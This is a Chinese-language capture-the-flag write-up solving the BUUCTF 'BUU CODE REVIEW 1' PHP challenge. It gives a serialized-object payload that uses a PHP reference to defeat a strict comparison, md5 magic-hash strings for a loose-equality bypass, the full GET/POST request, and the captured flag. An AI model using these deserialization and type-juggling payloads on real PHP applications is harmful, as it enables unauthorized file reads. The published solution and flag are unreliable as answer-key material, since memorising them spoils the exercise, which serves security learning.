BUU CODE REVIEW 1 1

TazmiDev發表於2024-11-17

BUU CODE REVIEW 1 1

開啟例項發現php程式碼,程式碼審計一波

image-20241117101315999

看到unserialize(),初步判斷這題存在php反序列化

分析程式碼:

  1. 需要GET傳參傳入pleaseget=1
  2. 需要POST傳參傳入pleasepost=2
  3. 需要POST傳入md51和md52,使得md51的md5加密後的MD5值弱相等,引數值不相等
  4. 需要POST傳入obj,用來反序列化

根據程式碼構建payload:

首先是序列化的繞過,由於BUU的類裡存在correctinput變數,這裡需要使得correct和input絕對相等才能echo出flag,由於correct的值採用了base64_encode(uniqid())方法去賦,所以存在不確定性,無法與構造的input進行比對;這邊考慮採用指標指向使其記憶體相等的方法:

<?php
class BUU
{
    public $correct = "";
    public $input = "";

    public function __destruct()
    {
        try {
            $this->correct = base64_encode(uniqid());
            if ($this->correct === $this->input) {
                echo file_get_contents("/flag");
            }
        } catch (Exception $e) {
        }
    }
}
$fun = new BUU();
$fun->input = &$fun->correct;	//	設定input的值為指標correct的值
$res = serialize(@$fun);
echo $res;

貼一張指標賦值的解釋

image-20241117104947883

輸出序列化字串

O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

image-20241117105500016

接下來是md5的驗證繞過

貼上一組可碰撞繞過的引數值

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a
  • s214587387a

構造最終的payload

GET:
?pleaseget=1

POST:
pleasepost=2&md51=QNKCDZO&md52=240610708&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

image-20241117110144597

成功拿到flag

flag{9fd0b243-22c8-4817-ab5c-3ae00121e0d8} 

相關文章